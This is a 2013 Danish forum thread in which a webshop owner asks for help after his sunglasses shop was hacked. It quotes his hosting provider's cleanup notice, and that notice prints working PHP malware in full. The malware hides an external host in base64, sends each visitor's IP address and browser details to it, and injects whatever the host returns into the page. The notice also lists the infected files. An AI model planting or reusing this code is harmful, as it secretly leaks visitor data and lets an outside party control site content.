Svar: Min solbrille bix er blevet hacket. HJÆLP

Mike D.Jensen — Wed, 15 May 2013 19:25:17 GMT

Hej Mikkel.

Jeg skal nok få skrevet dig en Email.

Mange tak

Svar: Min solbrille bix er blevet hacket. HJÆLP

Mikkel Mikjær Christensen — Wed, 15 May 2013 16:15:32 GMT

Smid en mail på mikkel@mikjaer.com hvor du beskriver hvad siden består af og hvad der er sket, så skal jeg give dig en hurtig pris på hvad det koster at rede trådene ud og sørge for det ikke sker igen.

Min solbrille bix er blevet hacket. HJÆLP

Mike D.Jensen — Wed, 15 May 2013 15:50:38 GMT

Som overskriften så pænt siger er min webshop blevet hacket.

Jeg kan ikke selv finde ud af hvordan jeg skal gøre sådan noget, har snakket med one.com omkring dette og de siger at jeg skal finde en programmør / webmand der kan hjælpe med det. Da jeg ved at Amino er stedet for programmøre / webmænd tænker jeg at jeg kunne få den hjælp jeg mangler her.

ONE:

Lau: Vi har midlertidigt suspenderet dit web-hotel, fordi du har usikker og skadelig kode liggende på dit web-hotel, som er blevet udnyttet af hackere. Vores tekniker giver flg. instruktion vedr. suspenderingen:

Lau: ---------------------------------------------------

Lau: You must:

Lau: - Remove malware script

Lau: - Install antivirus program

Lau: - Change FTP password

Lau: Malware like this...

Lau: if (!isset($sRetry))

Lau: {

Lau: global $sRetry;

Lau: $sRetry = 1;

Lau: // This code use for global bot statistic

Lau: $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot

Lau: $stCurlHandle = NULL;

Lau: $stCurlLink = "";

Lau: if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes

Lau: {

Lau: if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics

Lau: $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

Lau: @$stCurlHandle = curl_init( $stCurlLink );

Lau: }

Lau: }

Lau: if ( $stCurlHandle !== NULL )

Lau: {

Lau: curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);

Lau: curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);

Lau: $sResult = @curl_exec($stCurlHandle);

Lau: if ($sResult[0]=="O")

Lau: {$sResult[0]=" ";

Lau: echo $sResult; // Statistic code end

Lau: }

Lau: curl_close($stCurlHandle);

Lau: }

Lau: }

Lau: ?>

Lau: ...injected into the following files:

Lau: /download/index.php

Lau: /css/index.php

Lau: /docs/licences/index.php

Lau: /config/index.php

Lau: /themes/prestashop/index.php

Lau: /themes/theme007/index.php

Lau: ALSO the following files uploaded and should be deleted:

Lau: /counter.php

Lau: Further notes:

Lau: Please note that this list may not be complete.

Lau: Please check all your files to make sure the malicious code in files are all removed.

Lau: Remember that all computers connecting to your FTP are possible hosts

Lau: of a virus and should be scanned using an up to date antivirus.

Internet/E-business hjælp div.

Svar: Min solbrille bix er blevet hacket. HJÆLP

Svar: Min solbrille bix er blevet hacket. HJÆLP

Min solbrille bix er blevet hacket. HJÆLP